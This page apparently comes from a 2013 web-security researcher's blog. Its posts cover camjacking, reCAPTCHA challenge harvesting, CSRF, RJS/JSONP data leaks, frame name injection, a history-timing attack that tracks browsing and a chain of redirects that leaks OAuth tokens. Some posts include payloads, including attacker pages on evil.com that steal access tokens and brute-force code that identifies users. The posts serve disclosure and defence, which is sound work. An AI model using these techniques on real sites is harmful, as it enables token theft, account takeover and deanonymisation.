Wednesday, March 4, 3012

Consulting

I'm passionate about web security — feel free to browse my blog, I've covered different topics here. Also I have 5+ years of programming experience, check out employment history.

Main researches: Ruby/Rails, OAuth, browsers security, privacy, Chrome XSS Auditor bugs, XSS-proof websites, HTML5 etc.

My hourly rate is $150. Services: design, development (only RoR & JS) or security audit. Audit of an average website takes from 5 to 30 hours. I'm available up to 25 hours/week.

There are many portfolio items like "hall of fame"s I could show, but you should start with googling and checking the blog. Will add more testimonials soon.

Greg Brockman from Stripe:
As a payments company, security is core to everything Stripe does. I've worked with Egor both through his responsible disclosures as well as a contracted penetration test of Stripe. Egor has always been professional and responsible in his work, and Stripe today is more secure due to his efforts
Discuss: homakov@gmail.com

Thursday, June 13, 2013

Camjacking: Click and say Cheese

on reddit/HN
This post in based on an interesting trick by @typicalrabbit.

UPD: This has been known since 2011, but not fixed yet. Why?! I made a PoC to demonstrate the severity.

TL;DR this works precisely like regular clickjacking - you click on a transparent flash object, it allows access to Camera/Audio channel. Voila, attacker sees and hears you.

This is not a stable exploit (tested on Mac and Chrome. I do use Mac and Chrome so this is a big deal anyway).

Your photo can be saved on our servers but we don't do this in the PoC. (Well, we had an idea to charge $1 for deleting a photo but it would not be fun for you). Donations are welcome though.

Proof of Concept (not safe for work a bit)

Wait a minute! Hire us for security stuff.

Sunday, May 19, 2013

The reCAPTCHA Problem

TL;DR Nope, I didn't find a major breach, just an interesting detail in reCAPTCHA's design.

CAPTCHA ain't no good for CSRF
I was told on twitter that CAPTCHA mitigates CSRF (And, wow, it is "officially" on OWASP Challenge-Response section). Here is my opinion — it does not, it will not, it should not. Feel free to wipe out that section from the document.

CAPTCHA in a nutshell
http://en.wikipedia.org/wiki/CAPTCHA
"challenge" is literally a key to solution (not necessary random, solution can be encrypted inside - state less).
"response" is an attempt to recognize the given image.
Client is a website that hates automated actions, e.g. registrations.
Provider generates new challenges and verifies attempts.
User — a human being or a bot promoting viagra online no prescription las vegas. Nobody knows exactly until User solves the CAPTCHA.

Ideal flow
1. User comes to Client.
2. Client securely gets a new challenge from Provider.
3. Client sends back to User the challenge value with corresponding image.
4. User submits the form along with challenge and response. Client verifies them by sending over to Provider.
5. If Provider responds successfully — User is likely a pink human, otherwise:
if amount_of_attempts > 3
  BAN FOR A WHILE
else
  GOTO 2
end

As you can see User talks directly to Client. He has no idea about Provider.
Only 1 challenge per form attempt is allowed. 3 fails in a row = BAN. Does not matter how hard challenges are, User must try to solve them.


reCAPTCHA is easy to install, free, secure and very popular.


The reCAPTCHA flow
1. Client obtains public key and private key at https://developers.google.com/recaptcha/intro
2. Client adds some JS containing his public key to the HTML form.
3. User opens the page, User's browser makes a request to Provider and gets a new challenge.
4. User solves it and sends challenge with response to Client
5. Client verifies it by calling Provider's API (CSRF Tool template). In case of failed attempt User is required to reload the Provider's iframe to get a new challenge - GOTO 3.

The reCAPTCHA problem
Client knows how many wrong attempt you made (because verification is server side) but doesn't know how many challenges you actually received (because User gets challenge with JS, Client isn't involved). Getting a challenge and verifying a challenge are loosely coupled events.

Let's assume I have a script which recognizes 1 of 1000 reCAPTCHA images. That's quite a shitty script, right?

Wait, I have another script which loads  http://www.google.com/recaptcha/api/noscript?k=VICTIM_PUBLIC_KEY (demo link) and parses src="image?c=CHALLENGE_HERE"></center

For 100 000 images script solves (more or less reliably) 100 of them and crafts valid requests to Client by putting solved challenge/response pairs in them.

Analogy: User = Student, Client = Exam, Provider = Table with questions.
To pass it Student got to solve at least 1 problem, and he has only 3 attempts. In reCAPTCHA world Student goes to the table and looks over all questions on it, trying to find the easiest one.

You don't need to solve reCAPTCHAs as soon as you receive them anymore. You don't need to hit Client at all to get challenges. You talk directly to Provider, get some reCAPTCHAs with Client's PUBLIC_KEY, solve the easiest and have fun with different vectors.

There are blackhat APIs like antigate_com which are quite good at solving CAPTCHAs (private scripts and chinese kids, I guess).
With such trick they can create a special API for reCAPTCHA. You send victim's PUBLIC_KEY and get back N solved CAPTCHAs which you can use in malicious requests.

Mitigation
I cannot say if it should be fixed, but website owners must be aware that challenges are out of their control. To fix this reCAPTCHA could return amount of challenges and failed attempts with verification response.

Questions? I realized this an hour ago so I can possibly be mistaken somewhere, or I didn't discover it first. Point it out please.

Saturday, May 18, 2013

CSRF Tool

I facepalm when  I hear about CSRF in popular websites. (I was searching for them in the past but then realized that's a boring waste of time).

A while ago our friend Nir published CSRF changing Facebook password and it was the last straw. I can recall at least 5 major CSRF vulnerabilities in Facebook published in last 6 months. This level of web security is inacceptable nonsense for Facebook.

So, here is a short reminder about mitigation: 
Every state-changing (POST) request must contain a random token. Server-side must check it before processing the request using value stored in received cookies: cookies[:token] == params[:token]. If any POST endpoint lacks it — something is clearly wrong with implementation
For making world a better place I created a simple and handy CSRF Tool: homakov.github.io

  1. Copy as Curl from Web Inspector, paste into text field and get a working template in a few clicks:
  2. No hassle. Researchers need a playground to demonstrate CSRF, with CSRF Tool you can simply give a link with working template. 
  3. No disclosure. Fragment (part after #) is not sent on server side, so I am not able to track CSRFs you currently research (Github Pages don't have server side anyway). Link to template contains all information inside.
  4. Auto-submit for more fun, Base64 makes URL longer but hides the template.
  5. Add new fields and modify existing ones, change request method and endpoint path seamlessly. 
  6. Post into iframe (which is carefully sandboxed) or a new window, try Referrer-free submission and so on.
You got a cross site request forgery tool
tell me whatcha gonna do???




Everything is free but donations are welcome :) PayPal: homakov@gmail.com

Tuesday, May 14, 2013

Two Factor Authentication? Try OAuth!


UPD: no wonder, I missed the fact that OAuth providers use static passwords and it cannot be legit 2nd factor, just makes 1st factor harder to exploit. Thanks for feedback people from reddit!


Disclaimer: I'm noob in Two Factor Authentication (TFA). I got an idea today which I want to share and get feedback, your comments are totally welcome.

I don't have a mobile phone. Not only because russian mobile providers are cheaters (likely, same in your country) but also for many other reasons: traveling (my mastercard was blocked once in Sofia and I needed SMS approval code, which I couldn't receive — my mobile was "outside the coverage area" all the time), no daily usage (never needed to call someone ASAP in real life. maybe I am such a nerd), VoIP FTW etc — who cares, this is not my point.



The thing is all physical items (mobile phone, yubikey, token generators, biometrics of eye, fingerprints) are clone-able / steal-able or just not reliable enough (face/gesture/speech recognition).

Again, in disclaimer I said I don't know if scientists already created a universal reliable physical object for TFA, I just read wiki article a bit and seems they did not.

Why must Second Factor provider be a real object in our digital century? Is it really any better/safer (clearly less convenient) than yet another password or bunch of cookies our browsers store? I doubt.

In browser we trust.

OAuth is not supposed to authenticate you, no surprise here. Although an OAuth (or OpenID) provider can be trusted 3rd party which will approve the action your are about to commit.

Trusted 3rd Party Website
  1. every normal Internet user has or can register Facebook/Twitter/Paypal/Google account immediately with no "physical" hassle attached.
  2. Attack surface is added, attack complexity increases dramatically.
    example.com surface + twitter surface + facebook surface = hacker needs XSS or similar bug in two major social networks and your example.com password to log in your example.com account.
    Not enough? Add Paypal Connect. Add force-login option so attacker will need all of your passwords.

    The more guys say John is a reliable person I can trust, the more I believe he really is. And I don't need to look at John's tattoo (a poor analogy for biometrics) which he hates to show!
  3. Hassle-free. Just be logged in FB/twitter all the time and couple of quick OAuth redirects in iframes (no interaction required at all) will make sure that your current FB account is the one attached to example.com account, your current twitter user is equal example.com attached one.
    It can be simplified and more secured because you only need /me endpoint data, actual access_token will not be used. 
Leaving the post short by purpose, waiting for your ideas, perhaps I missed something huge. Thanks!


Saturday, May 4, 2013

Do not use RJS-like techniques

RJS (Ruby JavaScript) — a straightforward technique when server side (e.g. Rails app) responds with Javascript code and client-side eval-s it (Writing JS in Ruby is unrelated, I only consider response-evaling concept!)

Here are my usability and security concerns about this interaction.

Possibly other developers use their own RJS-like techniques — they can find my post helpful too.
(c) from http://slash7.com/assets/2006/10/8/RJS-Demistified_Amy-Hoy-slash7_1.pdf
  1. Broken concept & architecture. This feels as weird as the client-side sending code that is going to be evaled on the server-side... wait... Rails programmers had similar thing for a while :/
    Any RCEJS technique can be painlessly split into client's listeners and server's data.
  2. Escaping user content and putting it into Javascript can be more painful and having more pitfalls then normal HTML escaping. Even :javascript section used to be vulnerable in HAML (</script> breaks .to_json in Rails < 4). There can be more special characters and XSS you should care about.
  3. JSONP-like data leaking. If app accepts GET request and responds with Javascript containing private data in it attacker can use fake JS functions to leak data from the response. For example response is:

    Page.updateData("data")

    and attacker crafts such page:

    <script>var Page={updateData:function(leak){ ... }}</script>
    <script src="http://TARGET/get_data.js?params"></script>

    Voila, joys of RJS
  4. UPD as pointed out on HN evaling response will mess with your global namespace and there is no way to jump into closure you created request in..
Original RJS (Ruby-generates-JS) was removed by Yahuda Katz 6 years ago, he gave me this link with more details.

But I still see in the wild apps responding with private data in javascript. This is a very fragile technique, refactoring will both improve code quality and secureness of your app.

P.S. Cool, beloved GH uses cutting edge HTML 5 security and added CSP headers. My thoughts:

  • Rails 4 has built-in default_headers (guess who added it?), which has better performance than before filter
  • current CSP is easily bypassed with JSONP trick, just write in console on github.com:
    document.write('<script src="https://github.com/rails.json?callback=alert(0)//"></script>')
    i will fix it when get spare time, btw: https://github.com/rails/rails/pull/9075
  • CSP is very far from ultimate XSS prevention. Really very far, especially for Rails's agileness and jquery_ujs. Github should consider privileged subdomains https://github.com/populr/subdomainbox 

Saturday, April 20, 2013

How frames can mess with parent's namespace

This post describes pitfalls of cross-frame navigation. It started to "feel wrong" from the very beginning, and yesterday I noticed another quite interesting behaviour.

First of all, look closely at 'frames' property. Did you know that...


window == frames
true
self == frames
true
frames and window are the same variable — WindowProxy object. 
You probably know that any frame is accessible in parent via calling window.name:
<iframe name="some_frame" src=...> creates some_frame variable pointing to another WindowProxy object.

The tricky part is, frame can redefine its own window.name and it will inject a new variable in parent's namespace (if that variable is undefined — you cannot shadow existing variables...)

Let me remind you the "script killer" trick (we used to kill framebreakers with it). XSS Auditor by default removes pieces of scripts looking "malicious" (if you want to cut off <script src="/lib.js"></script> just pass this code in the query string)

Rough example:
1. page on (frameable) site.com has some innocent iframe (e.g. facebook like).
2. also it does some actions when JS variable 'approved' is true-ish:
<script>var approved = false</script>
after page load or click ...
<script>if(approved){actions!}else{alert('not approved yet');}
3. evil.com opens <iframe name="target" src="http://site.com/page?slice=%3Cscript%3Evar%20approved%20%3D%20false%3C%2Fscript%3E"> - this kills approved variable.
4. Now it navigates facebook button (because of Frame Navigation madness) target[0].location='http://evil.com/constructor' (target is WindowProxy - and [0] is its first frame - fb like)
5. constructor changes frame's window.name = 'approved'
6. now there is "approved" variable in namespace of site.com and if(approved) returns true - actions!

Also:
1. approved+'' returns "[object Window]" (didn't find a way to redefine toString). Would be much more dangerous if we could play with the stringified value
2. it can be any complex nested variable (/constructor will just build nested frames page with specific window.names). e.g. config.user.names[0] - we can replace this variable (creating iframe in "names" iframe under "user" iframe which is under "config" iframe)! With [object Window], but anyway ;)
3. you can use this playground from previous post

Such tricks are reminders how ridiculous web standards can be (URL disclosure is my favorite WontFix).


Friday, April 5, 2013

HTML5 Sandbox - a bad idea

About sandbox.

I don't like both idea and implementations of the Sandbox feature (part of so-called HTML5). Most of the articles about it are lame copy-pastes of the spec. Straight question WHY WE NEED IT AT ALL remains not answered. Furthermore, nobody writes that implementation is a little bit crazy — by fixing small vulnerabilities it introduces huge ones.

Why?

When we embed frames with external content we are still open for navigational and/or phishing attacks (obviously cookies/inner HTML cannot be stolen because of the same origin policy). The iframe code can change top.location or open a phishing popup window prompt('your password?'). ... that's it. That's all we needed to fix.

Besides allow-popup and allow-top-navigation options W3C introduced allow-scripts, allow-forms and allow-same-origin. They wanted best you know the rest.

Javascript... malicious shit.

OMG, sandbox can load any page with javascript turned off.

People are still fixing CSS for IE6. Meanwhile W3C destroys all Javascript-based framebreakers, not asking anyone's advice (only one anti-clickjacking solution left - X-Frame-Options). Nobody gave a shit about compatibility, I guess.

W3C needed a really good reason to introduce such a crazy feature: "Javascript from a frame can do malicious actions, now you can turn it off".
Malicious what? Tomorrow they will call Javascript a Remote Code Execution Vulnerability and ask us to remove the browser? Javascript cannot be malicious on it's own!

allow-forms + disallow scripts = clickjacking working like a charm for javascript-based framebreakers. Surely, not everyone uses X-Frame-Options yet, e.g. vk.com. UPDHere is a talk from BlackHat 11 last 2 years it is WontFix :O

Untrusted code on the same origin.

Another announced killer-feature of Sandbox - running untrusted code on your origin (remark: USE A SUBDOMAIN DONT BE STUPID). People tend to believe it: "Cool, I will set up a javascript playground on my website!". This?

<iframe src="SITE/playground?code=alert(1)" sandbox="allow-scripts"> 

Now think again, what stops an attacker to simply use 'SITE/playground?code=alert(1)' as an XSS hole?

Following may sound like a genius idea to prevent it - putting Sandbox into Content-Security-Policy header and let server-side to set sandbox directive. So far only Chrome supports such header (I use this technology in Pagebox - XSS protection through privilegies).

You cannot rely on it out-of-box, thus you need a way more comprehensive solution — you have to make sure that current page is loaded under sandbox (request is authentic), not in a new window

Server-side on th owner page: cookie[:nonce]=SecureRandom.hex(16).

HTML code: <iframe src="SITE/playground?code=alert(1)&nonce=123qwe123" sandbox="allow-scripts"> 

Playground server side: if params[:nonce] and cookie[:nonce] == params[:nonce] ..response..

Now you are secure from arbitrary code reflection. Anyway, don't use it. 

Sandbox was intended only to prevent top navigation (related frame navigation madness) and "phishing" popups. Severity of fixed = very low.

Eventually Sandbox simply broke the Web by creating a new clickjacking bypass. Severity of introduced = high.

Misleading posts make people think that Sandbox is a secure way to embed arbitrary content, but there are strings attached.

I don't mean Sandbox is all bad, I only state that current Sandbox is a poorly designed feature.

Wednesday, March 20, 2013

Pwning Your Privacy in All Browsers

I found new vectors and techniques for the detection attack from my previous post. There is a cross browser way to detect does certain URL redirect to another URL and is destination URL equal to TRY_URL. Interestingly in webkit you can check a few millions of TRY_URLs per minute (brute force).

There were similar attacks: CSS-visited-links leaking, cross domain search timing but the vector I am going to describe looks more universal and dangerous.

For sure this is not a critical vulnerability - 9 thousand years to brute force, say, /callback?code=j4JIos94nh (64**10 => 1152921504606846976 checking 25mln/min). Stealing random tokens does not seem feasible.

On the other hand the trick is WontFix. Every website owner can detect:
  1. if you are user of any other website - github, google, or, maybe, DirtyRussianGirls.com... ?
  2. if you have access to some private resources/URLs (do you follow some protected twitter account)
  3. applications you authorized on any OAuth1/2 provider
  4. some private bits URL can contain: your Facebook nickname or Vkontakte ID.



I wrote a simple JS function and playground - feel free to use! (Sorry playground can be buggy sometimes, timeouts for Firefox should be longer and direct_history=false)

check_redirect(base, callback, [assigner])

base, String - starting URL. Can redirect to other URL automatically or only with some conditions (user is not logged in).

callback, Function - receives one Boolean argument, true when at least one of assigned URLs changed history instantly (URL was guessed properly) and false when history object wasn't updated (no URL guessed and all assignment were "reloading").

assigner, Function - optional callback, can be used for arbitary URL attempts and iterations (bruteforce). For example bruteforcing user id between 0-99:
function(w){
  for(var i=0;i < 100;i++){
    w.location='http://site.com/user?id='+i+'#';
  }
}

By default exploit assigns location=base+'#', making sure no redirect happened at all. Checking if user is logged in on any website is super easy:

check_redirect('http://site.com/private_path',function(result){
  alert(result ? 'yes' : 'no');
}).
(/private_path path is supposed to redirect user, in case he is not logged in.

Under the hood.

When you execute cross_origin_window.location=SAME_URL# and SAME_URL is equal to current location, browsers do not reload that frame. But, at the same time, they update 'history' object instantly.
This opens a timing attack on history object:
  1. Prepare 2 slots in history POINT 1 and POINT 2 that belong to your origin.
    cross_origin_window.location="/postback.html#1"
    cross_origin_window.location="/postback.html#2"
  2. Navigate cross origin window to BASE_URL
    cross_origin_window.location=base_url;
  3. Try to assign location=TRY_URL# and instantly navigate 2 history slots back.
    cross_origin_window.location=try_url+'#';
    cross_origin_window.history.go(-2) 
  4. If the frame changed location to POINT 2 - your TRY_URL was equal to  REAL_URL and history object was updated instantly. If it is POINT 1 - TRY_URL was different and it made browser to start page reloading, history object was not changed immediately.
Wait, only Chrome supports cross origin access to "history" property - how can you make it work on other browsers?


Thankfully I found a universal bypass - simply assign a new location POINT 3 which will contain <script>history.go(-3)</script> doing the same job.



Bruteforce in webkit:

Vkontakte (russian social network) http://m.vk.com/photos redirects to http://m.vk.com/photosUSER_ID. We can use map-reduce-technique from my previous Chrome Auditor script extraction attack.
Iterate 1-1kk, 1kk-2kk, 2kk-3kk and see which one returned to POINT 2. Repeat: 2000000-2100000, 2100000-2200000 etc.

It will take a few minutes to brute force certain user id between 1 and 1 000 000. Vkontakte has more than 100 millions of users - around 10 minutes should be enough.

Maybe performance tricks can make bruteforce loop faster (e.g. web workers). So far for(){} loop is only bottle neck here :)

Conclusion

Website owners can track customers' hobbies, facebook friends (predefined) visiting their blogs etc.

I have a strong feeling we dont want such information to be disclosed. It should be fixed just like CSS :visited vulnerability was fixed a few years ago.

Please, browsers, change your mind :)

Bonus - 414 and XFO

During the research I found unrelated but interesting attack vector, based on X-Frame-Options detection (Jeremiah wrote about it) and 414 error (URI is too long).

Server error pages almost never serve X-Frame-Options header and this trick can be applied for many popular websites using X-Frame-Options.

The picture below makes it clear (LONG_PAYLOAD depends on the server configuration, usually 5000-50000 symbols.):


Friday, March 15, 2013

The Achilles Heel of OAuth or Why Facebook Adds #_=_

This is a short addition to the previous rants on OAuth problems.

We've got Nir Goldshlager working on our side (he simply loves bounties and facebook does pay 'em). We both discovered some vulnerabilities in Facebook and we joined our forces to demonstrate how many potential problems are hidden in OAuth.

TL;DR: all oauth exploits are based on tampering with the redirect_uri parameter.
1 2 3 4
Here I demostrate 2 more threats proving that a flexible redirect_uri is the Achilles Heel of OAuth.



Open redirect is not a severe vulnerability on its own. OWASP says it can lead to "phishing". Yeah, it's almost nothing, but wait:

URI Fragment & 302 Redirects.
What happens if we load http://site1.com/redirect_to_other_site#DATA and  Site1.com responds with Status 302 and Location: evil.com/blabla.

What about #DATA? It's a so called URI Fragment a.k.a location.hash and it's never sent on the Server-side.

The browser simply appends exactly the same value to a new redirect destination. Yeah, it will load evil.com/blabla#DATA.

I have a feeling that is not a reasonable browser feature. I have an even stronger feeling that it opens yet another critical flaw in OAuth.

Any chain of 302 redirects
on any allowed redirect_uri domain (Client's domain myapp.com, sometimes Provider's domain too — facebook.com)
to any page with attacker's Javascript (not necessarily open redirect)
= stolen access_token = Game Over

Steps:
  1. window.open(fb auth/redirect_uri=site.com/redirector&response_type=token) 
  2. We get header:
    Location: http://site.com/redirector#access_token=123
  3. When the browser loads http://site.com/redirector it gets following header
    Location: http://evil.com/path
  4. And now the browser navigates to
    http://evil.com/path#access_token=123
  5. our Javascript leaks the location.hash

and this is...
Why Facebook Adds #_=_

Every time Facebook Connect redirects you to another URL it adds #_=_. It is supposed to kill a "sticky" URI fragment which the browser carries through chain of 302 redirects.

Previously we could use something like
FBAUTH?client_id=approved_app&redirect_uri=ourapp.com
in redirect_uri for other clients as a redirector to our app.

Fb auth for Other client -> Fb auth for Our client#access_token=otherClientToken -> 302 redirect to our app with #access_token of Other client.

Stolen Client Credentials Threat
Consumer keys of official Twitter clients
Is it game over? Currently - yes, both for OAuth1 and 2. Let me explain again response_type=code flow:

  1. redirect to /authorize url with redirect_uri param
  2. it redirects back to redirect_uri?code=123#_=_
  3. now server side obtains access_token sending client creds + used redirect_uri (to prevent leaking through referrer) + code

So if we have client creds we only need to find a document.referrer leaking redirect_uri (it can be any page with <img src="external site..."> or open redirector)

How would you obtain an access_token if redirect_uri would be static?


Oh, wait, there is no such way, because stolen credentials are not a threat if redirect_uri is whitelisted!


The funniest thing with all these rants
Most of our OAuth hacks pwn the Provider and its users (only the most-common vulnerability pwns the Client's authentication). 

This makes me really curious what the hell is wrong with Facebook and why don't they care about their own Graph security and their own users. Why do they allow a flexible redirect_uri, opening an enormous attack surface (their own domain + client's app domain)?

We simply play Find-Chain-Of-302-Redirects, Find-XSS-On-Client and Leak-Credentials-Then-Find-Leaking-Redirect_uri games. Don't they understand it is clearly their business to protect themselves from non ideal clients?

Facebook OAuth engineers:


A favor
Facebook and OAuth spec, please do me a favor, make the damn redirect_uri parameter whitelisted/static.

A good migration technique could be based on recording the most used redirect_uri for every Client (most of rails apps use site.com/auth/facebook/callback) and then setting those redirect_uris as the whitelisted ones.

P.S. Although, as bounty hunters, me, @isciurus and Nir are OK with the current situation. There is so much $$$ floating around redirect_uri...

P.S.2 feel free to fix my language and grammar, I get many people asking to elaborate some paragraphs.